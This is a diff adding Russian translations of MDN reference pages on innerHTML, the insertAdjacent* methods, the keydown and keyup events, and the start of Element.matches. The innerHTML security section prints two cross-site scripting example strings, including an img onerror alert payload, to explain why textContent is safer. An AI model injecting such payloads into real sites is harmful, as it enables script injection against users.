+<pre class="brush: js notranslate">const <var>content</var> = <var>element</var>.innerHTML;
+
+<var>element</var>.innerHTML = <var>htmlString</var>;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Строка {{domxref("DOMString")}}, которая содержит части HTML разметки. Установка значения <code>innerHTML</code> удаляет всё содержимое элемента и заменяет его на узлы, которые были разобраны как HTML, указанными в строке <var>htmlString.</var></p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>Возникает при попытке установить значение <code>innerHTML</code> строкой, в которой содержится неправильно сформированный HTML.</dd>
+ <dt><code>NoModificationAllowedError</code></dt>
+ <dd>Возникает при попытке вставить HTML в узел, у которого родителем является {{domxref("Document")}}.</dd>
+</dl>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Это свойство предоставляет простой способ полностью заменить содержимое элемента. Например, все содержимое элемента body может быть удалено:</p>
+
+<pre class="brush: js notranslate">document.body.innerHTML = "";  // Заменяет содержимое тела пустой строкой.</pre>
+
+<p>Свойство innerHTML многих типов элементов, включая {{HTMLElement("body")}} или {{HTMLElement("html")}}, могут быть возвращены или перемещены. Это может так же быть использовано для просмотра кода страницы, которая была изменена динамически:</p>
+
+<pre class="brush: js notranslate">// Скопируйте и вставьте в адресную строку в виде одной строки.
+javascript:"&lt;pre&gt;"+document.documentElement.innerHTML.replace(/&lt;/g,"&amp;lt;") + "&lt;/pre&gt;";
+</pre>
+
+<p>Это свойство было первоначально реализовано веб браузерами, затем описано WHATWG и W3C в HTML5. Старые реализации могут отличаться от новых. Для примера, когда введен текст в поле ввода &lt;input&gt;, IE меняет значение атрибута &lt;input&gt; свойства innerHTML, но браузеры Gecko не делают этого.</p>
+
+<h3 id="Соображения_безопасности">Соображения безопасности</h3>
+
+<p>Не редко можно увидеть использование InnerHTML для вставки текста в веб страницу. Это приводит к рискам безопасности.</p>
+
+<pre class="brush: js notranslate">const name = "John";
+// предполагая, что 'el' является HTML DOM элементом.
+el.innerHTML = name; // безвредный в этом случае
+
+// ...
+
+name = "&lt;script&gt;alert('Я Джон в раздражающем alert!')&lt;/script&gt;";
+el.innerHTML = name; // безвредный в этом случае</pre>
+
+<p>Хотя это может выглядеть как атака {{interwiki("wikipedia", "cross-site scripting")}}, результат безопасный. HTML5 указывает на тег {{HTMLElement("script")}} вставленный через InnerHTM <a href="https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0">должен не выполнится.</a></p>
+
+<p>Однако, есть способы запустить JavaScript без использования элементов {{HTMLElement("script")}}, так что есть риск безопасности всякий раз, когда вы используете innerHTML для набора строк, над которыми у вас нет контроля. Например:</p>
+
+<pre class="brush: js notranslate">const name = "&lt;img src='x' onerror='alert(1)'&gt;";
+el.innerHTML = name; // показывает alert</pre>
+
+<p>По этой причине,  рекомендуется не использовать innerHTML при вставке обычного текста; вместо этого, используйте {{domxref("node.textContent")}}. Это не интерпретирует отправленный контент как HTML, но вместо этого он вставляется как не обработанный текст. </p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Этот пример использует <code>innerHTML</code> для создания механизма логгирования сообщений внутри элемента на странице.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">function log(msg) {
+  var logElem = document.querySelector(".log");
+
+  var time = new Date();
+  var timeStr = time.toLocaleTimeString();
+  logElem.innerHTML += timeStr + ": " + msg + "&lt;br/&gt;";
+}
+
+log("Регистрация событий мыши внутри этого контейнера...");</pre>
+
+<p>Функция <code>log()</code> создаёт сообщение получая текущее время из объекта {{jsxref("Date")}}, используя {{jsxref("Date.toLocaleTimeString", "toLocaleTimeString()")}}, и соединяя стороку с временной меткой с текстовым сообщением. Затем сообщение добавляется в элемент с классом <code>"log"</code>.</p>
+
+<p>Мы добавляем второй метод, который логгирует информацию о событиях на основе {{domxref("MouseEvent")}} (например, {{event("mousedown")}}, {{event("click")}}, и {{event("mouseenter")}}):</p>
+
+<pre class="brush: js notranslate">function logEvent(event) {
+  var msg = "Event &lt;strong&gt;" + event.type + "&lt;/strong&gt; at &lt;em&gt;" +
+            event.clientX + ", " + event.clientY + "&lt;/em&gt;";
+  log(msg);
+}</pre>
+
+<p>Затем мы используем этот обработчик событий на элементе, который содержит наше логгирование, для каждого события мыши:</p>
+
+<pre class="brush: js notranslate">var boxElem = document.querySelector(".box");
+
+boxElem.addEventListener("mousedown", logEvent);
+boxElem.addEventListener("mouseup", logEvent);
+boxElem.addEventListener("click", logEvent);
+boxElem.addEventListener("mouseenter", logEvent);
+boxElem.addEventListener("mouseleave", logEvent);</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<p>HTML довольно простой для нашего примера.</p>
+
+<pre class="brush: html notranslate">&lt;div class="box"&gt;
+  &lt;div&gt;&lt;strong&gt;Log:&lt;/strong&gt;&lt;/div&gt;
+  &lt;div class="log"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{HTMLElement("div")}} c классом <code>"box"</code> – просто контейнер для, который даст содержимому пространство вокруг себя. <code>&lt;div&gt;</code> с классом <code>"log"</code> является контейнером для логгирования текста внутри себя.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<p>Для нашего примера используем следующие CSS стили.</p>
+
+<pre class="brush: css notranslate">.box {
+  width: 600px;
+  height: 300px;
+  border: 1px solid black;
+  padding: 2px 4px;
+  overflow-y: scroll;
+  overflow-x: auto;
+}
+
+.log {
+  margin-top: 8px;
+  font-family: monospace;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>В результате мы получаем такое содержимое. Вы можете видеть логи наводя мышь на элемент, кликая на него и так далее.</p>
+
+<p>{{EmbedLiveSample("Example", 640, 350)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#widl-Element-innerHTML', 'Element.innerHTML')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://innerdom.sourceforge.net/"><code>innerDOM</code></a> - Для тех, кто хочет придерживаться стандартов, вот один набор функций JavaScript, предлагающий сериализовать или разобрать XML так, чтобы установить содержимое элемента, определенное как строка(и) через DOM или получить содержимое элемента, полученное из DOM как строку.</li>
+ <li>{{domxref("Element.insertAdjacentHTML")}} - <span id="result_box" lang="ru"><span>Альтернатива для innerHTML, позволяющая добавлять новый HTML</span></span>.</li>
+ <li><a class="external" href="https://github.com/ndebeiss/jsxmlsaxparser">jssaxparser</a> -  Более надежным (хотя и более тяжелым) решением, чем innerDOM (поддерживает парсинг с пространствами имен, однокавычками атрибутов, секциями CDATA и т.д.), является этот SAX2 парсер при использовании с его обработчиком DOM-контента. (Предлагает строку на DOM; DOM на строку <a href="https://app.assembla.com/spaces/brettz9/bize6mebSr3B31ab7jnrAJ/source/DOMToString">значительно проще</a>).</li>
+ <li>Эффективность соображений: <a class="external" href="http://www.quirksmode.org/dom/innerhtml.html">quirksmode.</a></li>
+</ul>
diff --git a/files/ru/web/api/element/insertadjacentelement/index.html b/files/ru/web/api/element/insertadjacentelement/index.html
new file mode 100644
index 0000000000..a6f23f2aa1
--- /dev/null
+++ b/files/ru/web/api/element/insertadjacentelement/index.html
@@ -0,0 +1,129 @@
+---
+title: Element.insertAdjacentElement()
+slug: Web/API/Element/insertAdjacentElement
+tags:
+  - API
+  - DOM
+  - Element
+  - Gecko
+  - Method
+  - Reference
+  - insertAdjacentElement
+translation_of: Web/API/Element/insertAdjacentElement
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Метод <strong><code>insertAdjacentElement()</code></strong> добавляет переданный элемент в DOM-дерево относительно элемента, вызвавшего метод.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre><em>targetElement</em>.insertAdjacentElement(<em>position</em>, <em>element</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>position</dt>
+ <dd>{{domxref("DOMString")}} - определяет позицию добавляемого элемента относительно элемента, вызвавшего метод. Должно соответствовать одному из следующих значений (чувствительно к регистру):
+ <ul>
+  <li><code style="color: red;">'beforebegin'</code>: до самого <code>element</code> (до открывающего тега).</li>
+  <li><code style="color: green;">'afterbegin'</code>: сразу после открывающего тега  <code>element </code>(перед первым потомком).</li>
+  <li><code style="color: blue;">'beforeend'</code>: сразу перед закрывающим тегом <code>element</code> (после последнего потомка).</li>
+  <li><code style="color: magenta;">'afterend'</code>: после <code>element</code> (после закрывающего тега).</li>
+ </ul>
+ </dd>
+ <dt>element</dt>
+ <dd>Элемент, добавляемый в DOM-дерево.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Метод возвращает добавляемый элемент, либо <code>null</code>, если добавление элемента завершилось ошибкой.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Исключение</th>
+   <th scope="col">Пояснение</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>SyntaxError</code></td>
+   <td>Переданное значение <code>position</code> не соответствует ни одному из допустимых.</td>
+  </tr>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>Передаваемый <code>element</code> не является валидным.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Наглядное_отображение_параметра_position">Наглядное отображение параметра position</h3>
+
+<pre>&lt;!-- <strong><code style="color: red;">beforebegin</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;p&gt;</code>
+&lt;!-- <strong><code style="color: green;">afterbegin</code></strong> --&gt;
+foo
+&lt;!-- <strong><code style="color: blue;">beforeend</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;/p&gt;</code>
+&lt;!-- <strong><code style="color: magenta;">afterend</code></strong> --&gt;</pre>
+
+<div class="note"><strong>Примечаение:</strong> значения <code>beforebegin</code> и <code>afterend</code> работают только если targetElement находится в DOM-дереве и имеет родительский элемент.</div>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre class="brush: js">beforeBtn.addEventListener('click', function() {
+  var tempDiv = document.createElement('div');
+  tempDiv.style.backgroundColor = randomColor();
+  if (activeElem) {
+    activeElem.insertAdjacentElement('beforebegin',tempDiv);
+  }
+  setListener(tempDiv);
+});
+
+afterBtn.addEventListener('click', function() {
+  var tempDiv = document.createElement('div');
+  tempDiv.style.backgroundColor = randomColor();
+  if (activeElem) {
+    activeElem.insertAdjacentElement('afterend',tempDiv);
+  }
+  setListener(tempDiv);
+});</pre>
+
+<p>Посмотрите наше демо <a href="https://mdn.github.io/dom-examples/insert-adjacent/insertAdjacentElement.html">insertAdjacentElement.html</a> на Github (так же посмотрите <a href="https://github.com/mdn/dom-examples/blob/master/insert-adjacent/insertAdjacentElement.html">исходный код</a>). В этом демо мы имеем последовательность {{htmlelement("div")}} элементов внутри контейнера. При выборе одного из них можно нажать кнопку <em>Insert before</em> или <em>Insert after</em> и добавить новые div до или после выбранного  элемента используя метод <code>insertAdjacentElement()</code>.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-insertadjacentelement', 'insertAdjacentElement()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.insertAdjacentElement")}}</p>
+
+<div id="compat-desktop"></div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Element.insertAdjacentHTML()")}}</li>
+ <li>{{domxref("Element.insertAdjacentText()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("Node.appendChild()")}} (такой же эффект со значением position <code>beforeend</code>)</li>
+</ul>
diff --git a/files/ru/web/api/element/insertadjacenthtml/index.html b/files/ru/web/api/element/insertadjacenthtml/index.html
new file mode 100644
index 0000000000..e2750b8f47
--- /dev/null
+++ b/files/ru/web/api/element/insertadjacenthtml/index.html
@@ -0,0 +1,88 @@
+---
+title: Element.insertAdjacentHTML()
+slug: Web/API/Element/insertAdjacentHTML
+translation_of: Web/API/Element/insertAdjacentHTML
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p><strong><code>insertAdjacentHTML()</code></strong> разбирает указанный текст как HTML или XML и вставляет полученные узлы (nodes) в DOM дерево в указанную позицию. Данная функция не переписывает имеющиеся элементы, что предотвращает дополнительную сериализацию и поэтому работает быстрее, чем манипуляции с {{domxref("Element.innerHTML", "innerHTML")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre><em>targetElement</em>.insertAdjacentHTML(<em>position</em>, <em>text</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>position</code></dt>
+ <dd>{{domxref("DOMString")}} - определяет позицию добавляемого элемента относительно элемента, вызвавшего метод. Должно соответствовать одному из следующих значений (чувствительно к регистру):
+ <ul>
+  <li><code style="color: red;">'beforebegin'</code>: до самого <code>element</code> (до открывающего тега).</li>
+  <li><code style="color: green;">'afterbegin'</code>: сразу после открывающего тега  <code>element </code>(перед первым потомком).</li>
+  <li><code style="color: blue;">'beforeend'</code>: сразу перед закрывающим тегом <code>element</code> (после последнего потомка).</li>
+  <li><code style="color: magenta;">'afterend'</code>: после <code>element</code> (после закрывающего тега).</li>
+ </ul>
+ </dd>
+ <dt><code>text</code></dt>
+ <dd>Строка, которая будет проанализирована как HTML или XML и вставлена в DOM дерево документа.</dd>
+</dl>
+
+<h3 id="Наглядное_отображение_параметра_position">Наглядное отображение параметра position</h3>
+
+<div class="wp_syntax">
+<div class="code">
+<pre>&lt;!-- <strong><code style="color: red;">beforebegin</code></strong> --&gt;
+<strong><code>&lt;p&gt;</code></strong>
+&lt;!-- <strong><code style="color: green;">afterbegin</code></strong> --&gt;
+foo
+&lt;!-- <strong><code style="color: blue;">beforeend</code></strong> --&gt;
+<strong><code>&lt;/p&gt;</code></strong>
+&lt;!-- <strong><code style="color: magenta;">afterend</code></strong> --&gt;</pre>
+</div>
+</div>
+
+<div class="note"><strong>Примечание:</strong>  позиции <code>beforebegin</code> и <code>afterend</code> работают только если узел имеет родительский элемент.</div>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">// &lt;div id="one"&gt;one&lt;/div&gt;
+var d1 = document.getElementById('one');
+d1.insertAdjacentHTML('afterend', '&lt;div id="two"&gt;two&lt;/div&gt;');
+
+// At this point, the new structure is:
+// &lt;div id="one"&gt;one&lt;/div&gt;&lt;div id="two"&gt;two&lt;/div&gt;</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<h3 id="Соображения_безопасности">Соображения безопасности</h3>
+
+<p>Будьте осторожны при использовании вставки HTML на страницу с помощью <code>insertAdjacentHTML()</code>, не используете пользовательский ввод, который не был экранирован.</p>
+
+<p>Не рекомендуется использовать <code>insertAdjacentHTML()</code>, когда требуется ввести простой текст. Используйте для этого свойство {{domxref("Node.textContent")}} или метод {{domxref("Element.insertAdjacentText()")}}. Они не будут интерпретировать текст как HTML, а вставят необработанный текст.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#widl-Element-insertAdjacentHTML-void-DOMString-position-DOMString-text', 'Element.insertAdjacentHTML()')}}</td>
+   <td>{{ Spec2('DOM Parsing') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.insertAdjacentHTML")}}</p>
+
+<h2 id="Specification" name="Specification"><span style="font-size: 2.33333rem; letter-spacing: -0.00278rem;">Смотрите также</span></h2>
+
+<p><a class="external" href="http://hacks.mozilla.org/2011/11/insertadjacenthtml-enables-faster-html-snippet-injection/">hacks.mozilla.org guest post by Henri Sivonen including benchmark showing that insertAdjacentHTML can be way faster in some cases.</a></p>
diff --git a/files/ru/web/api/element/insertadjacenttext/index.html b/files/ru/web/api/element/insertadjacenttext/index.html
new file mode 100644
index 0000000000..fa75df2851
--- /dev/null
+++ b/files/ru/web/api/element/insertadjacenttext/index.html
@@ -0,0 +1,118 @@
+---
+title: Element.insertAdjacentText()
+slug: Web/API/Element/insertAdjacentText
+translation_of: Web/API/Element/insertAdjacentText
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>The <strong><code>insertAdjacentText()</code></strong> <span id="result_box" lang="ru"><span>метод помещает заданный текстовый узел в указанную позицию относительно элемента, который передан в вызове</span></span> метода.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre><em>element</em>.insertAdjacentText(<em>position</em>, <em>element</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>position</code></dt>
+ <dd>{{domxref("DOMString")}} позиция для вставки текста относительно элемента  <code>element</code>; должна быть указана в следующем виде:
+ <ul>
+  <li><code style="color: red;">'beforebegin'</code>: Перед самим <code>element</code>.</li>
+  <li><code style="color: green;">'afterbegin'</code>: Внутри самого <code>element</code>, перед первым child.</li>
+  <li><code style="color: blue;">'beforeend'</code>: Внутри самого <code>element</code>, после последнего child.</li>
+  <li><code style="color: magenta;">'afterend'</code>: После самого <code>element</code>.</li>
+ </ul>
+ </dd>
+ <dt><code>element</code></dt>
+ <dd>{{domxref("DOMString")}} текст, который будет помещен в заданную позицию.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Void.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Explanation</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>SyntaxError</code></td>
+   <td>Указанная <code>position</code> не может быть распознана.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Наглядное_отображение_параметра_position">Наглядное отображение параметра position</h3>
+
+<pre>&lt;!-- <strong><code style="color: red;">beforebegin</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;p&gt;</code>
+&lt;!-- <strong><code style="color: green;">afterbegin</code></strong> --&gt;
+foo
+&lt;!-- <strong><code style="color: blue;">beforeend</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;/p&gt;</code>
+&lt;!-- <strong><code style="color: magenta;">afterend</code></strong> --&gt;</pre>
+
+<div class="note"><strong>Примечание:</strong> значения <code>beforebegin</code> и <code>afterend</code> работают только если targetElement находится в DOM-дереве и имеет родительский элемент.</div>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">beforeBtn.addEventListener('click', function() {
+  para.insertAdjacentText('afterbegin',textInput.value);
+});
+
+afterBtn.addEventListener('click', function() {
+  para.insertAdjacentText('beforeend',textInput.value);
+});</pre>
+
+<p>Посмотрите пример <a href="https://mdn.github.io/dom-examples/insert-adjacent/insertAdjacentText.html">insertAdjacentText.html</a> на GitHub (исходный код <a href="https://github.com/mdn/dom-examples/blob/master/insert-adjacent/insertAdjacentText.html">source code</a>.)  Вы можете ввести любой текст в поле формы, а затем нажать кнопки <em>Insert before</em> (вставить до) и <em>Insert after</em> (вставить после) для размещения этого текста до или после существующего абзаца, используя <code>insertAdjacentText()</code>. Обратите внимание, что существующий текстовой узел не изменился, а произошло добавление новых текстовых узлов.</p>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Можно создать polyfill для insertAdjacentText<code>() method</code> который будет работать в Internet Explorer 5.5 (возможно и в более ранних версиях) и последующих версиях, с помощью данного кода:</p>
+
+<pre>if (!Element.prototype.insertAdjacentText)
+  Element.prototype.insertAdjacentText = function(type, txt){
+    this.insertAdjacentHTML(
+      type,
+      (txt+'') // convert to string
+        .replace(/&amp;/g, '&amp;amp;') // embed ampersand symbols
+        .replace(/&lt;/g, '&amp;lt;') // embed greater than symbols
+    )
+  }
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-insertadjacenttext', 'insertAdjacentText()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.insertAdjacentText")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Element.insertAdjacentElement()")}}</li>
+ <li>{{domxref("Element.insertAdjacentHTML()")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/keydown_event/index.html b/files/ru/web/api/element/keydown_event/index.html
new file mode 100644
index 0000000000..99dffec68a
--- /dev/null
+++ b/files/ru/web/api/element/keydown_event/index.html
@@ -0,0 +1,91 @@
+---
+title: keydown
+slug: Web/API/Element/keydown_event
+translation_of: Web/API/Element/keydown_event
+---
+<div>{{APIRef}}</div>
+
+<p>Событие <strong><code>keydown</code></strong> срабатывает, когда клавиша была нажата.</p>
+
+<p>В отличии от события {{Event("keypress")}}, событие keydown срабатывает на всех клавишах, независимо от того, есть ли у них значение.</p>
+
+<table class="properties">
+ <thead>
+ </thead>
+ <tbody>
+  <tr>
+   <th>Bubbles</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th>Cancelable</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th>Interface</th>
+   <td>{{domxref("KeyboardEvent")}}</td>
+  </tr>
+  <tr>
+   <th>Event handler property</th>
+   <td>{{domxref("GlobalEventHandlers.onkeydown", "onkeydown")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>События <code>keydown</code> и <code><a href="/en-US/docs/Web/API/Element/keyup_event">keyup</a></code> показывают то, что клавиша была нажата, в то время как <code>keypress</code> показывает то, какой символ был введён. Например, прописную "a" <code>keydown</code> и <code>keyup</code> сообщат как 65, а <code>keypress</code> сообщит как 97. Заглавную же "A" все события сообщают как 65.</p>
+
+<p>События клавиатуры генерируются только в <code>&lt;inputs&gt;</code>, <code>&lt;textarea&gt;</code> и любых элементах с аттрибутом <code>contentEditable</code> или <code>tabindex="-1"</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Примеры_addEventListener_keydown">Примеры addEventListener keydown</h3>
+
+<p>Этот пример отображает значение <a href="https://developer.mozilla.org/ru/docs/Web/API/KeyboardEvent/code" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>KeyboardEvent.code</code></a> всякий раз, когда вы нажимаете клавишу внутри <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/input" title="Элемент HTML &lt;input> используется для создания интерактивных элементов управления в веб-формах для принятия данных от пользователя; в зависимости от устройства и user agent, доступен широкий выбор типов входных данных и виджетов управления."><code>&lt;input&gt;</code></a> элемента.</p>
+
+<pre class="brush: html">&lt;input placeholder="Кликните здесь, затем нажмите клавишу." size="40"&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: js">const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.addEventListener('keydown', logKey);
+
+function logKey(e) {
+  log.textContent += ` ${e.code}`;
+}</pre>
+
+<p>{{EmbedLiveSample("addEventListener_keydown_example")}}</p>
+
+<h3 id="Аналог_onkeydown">Аналог onkeydown</h3>
+
+<pre class="brush: js">input.onkeydown = logKey;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("UI Events", "#event-type-keydown")}}</td>
+   <td>{{Spec2("UI Events")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.keydown_event")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/input_event">input</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/Element/keypress_event">keypress</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/Element/keyup_event">keyup</a></code></li>
+ <li><a href="/en-US/docs/Web/API/Document/keydown_event">Document <code>keydown</code> event</a></li>
+</ul>
diff --git a/files/ru/web/api/element/keyup_event/index.html b/files/ru/web/api/element/keyup_event/index.html
new file mode 100644
index 0000000000..981fcbc7d5
--- /dev/null
+++ b/files/ru/web/api/element/keyup_event/index.html
@@ -0,0 +1,87 @@
+---
+title: keyup
+slug: Web/API/Element/keyup_event
+translation_of: Web/API/Element/keyup_event
+---
+<div>{{APIRef}}</div>
+
+<p>Событие <strong><code>keyup</code></strong> срабатывает, когда клавиша была отпущена.</p>
+
+<table class="properties">
+ <thead>
+ </thead>
+ <tbody>
+  <tr>
+   <th>Bubbles</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th>Cancelable</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th>Interface</th>
+   <td>{{domxref("KeyboardEvent")}}</td>
+  </tr>
+  <tr>
+   <th>Event handler property</th>
+   <td>{{domxref("GlobalEventHandlers.onkeyup", "onkeyup")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>События <code><a href="/en-US/docs/Web/API/Element/keydown_event">keydown</a></code> и <code>keyup</code> показывают то, что клавиша была нажата, в то время как <code>keypress</code> показывает то, какой символ был введён. Например, прописную "a" <code>keydown</code> и <code>keyup</code> сообщат как 65, а <code>keypress</code> сообщит как 97. Заглавную же "A" все события сообщают как 65.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Примеры_addEventListener_keyup">Примеры addEventListener keyup</h3>
+
+<p>Этот пример отображает значение {{domxref("KeyboardEvent.code")}} всякий раз, когда вы отпускаете клавишу внутри {{HtmlElement("input")}} элемента.</p>
+
+<pre class="brush: html">&lt;input placeholder="Кликните здесь, затем нажмите и отпустите клавишу." size="40"&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: js">const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.addEventListener('keyup', logKey);
+
+function logKey(e) {
+  log.textContent += ` ${e.code}`;
+}</pre>
+
+<p>{{EmbedLiveSample("addEventListener_keyup_example")}}</p>
+
+<h3 id="Аналог_onkeyup">Аналог onkeyup</h3>
+
+<pre class="brush: js">input.onkeyup = logKey;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("UI Events", "#event-type-keyup")}}</td>
+   <td>{{Spec2("UI Events")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.keyup_event")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/input_event">input</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/Element/keydown_event">keydown</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/Element/keypress_event">keypress</a></code></li>
+ <li><a href="/en-US/docs/Web/API/Document/keyup_event">Document <code>keyup</code> event</a></li>
+</ul>
diff --git a/files/ru/web/api/element/matches/index.html b/files/ru/web/api/element/matches/index.html
new file mode 100644
index 0000000000..a8fe49cccb
--- /dev/null
+++ b/files/ru/web/api/element/matches/index.html
@@ -0,0 +1,157 @@
+---
+title: Element.matches()
+slug: Web/API/Element/matches
+translation_of: Web/API/Element/matches
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Метод <strong><code>Element.matches()</code></strong> вернёт <code>true</code> или false, в зависимости от того, соответствует ли элемент указанному css-селектору.</p>
+
+<div class="warning">
+<p>В некоторых браузерах данный метод имеет нестандартное название - <code>matchesSelector()</code>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>var result</em> = <em>element</em>.matches(selectorString)
+</pre>
+
+<ul>
+ <li><code>Результат выполнения - <strong>true</strong> или <strong>false</strong>.</code></li>
+ <li><strong><code>selectorString</code></strong> - строка, содержащая любой css-селектор, к примеру:<em> <strong>"div"</strong></em>,<em> <strong>"*"</strong></em>,<em> <strong>"#id"</strong></em> и прочие.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
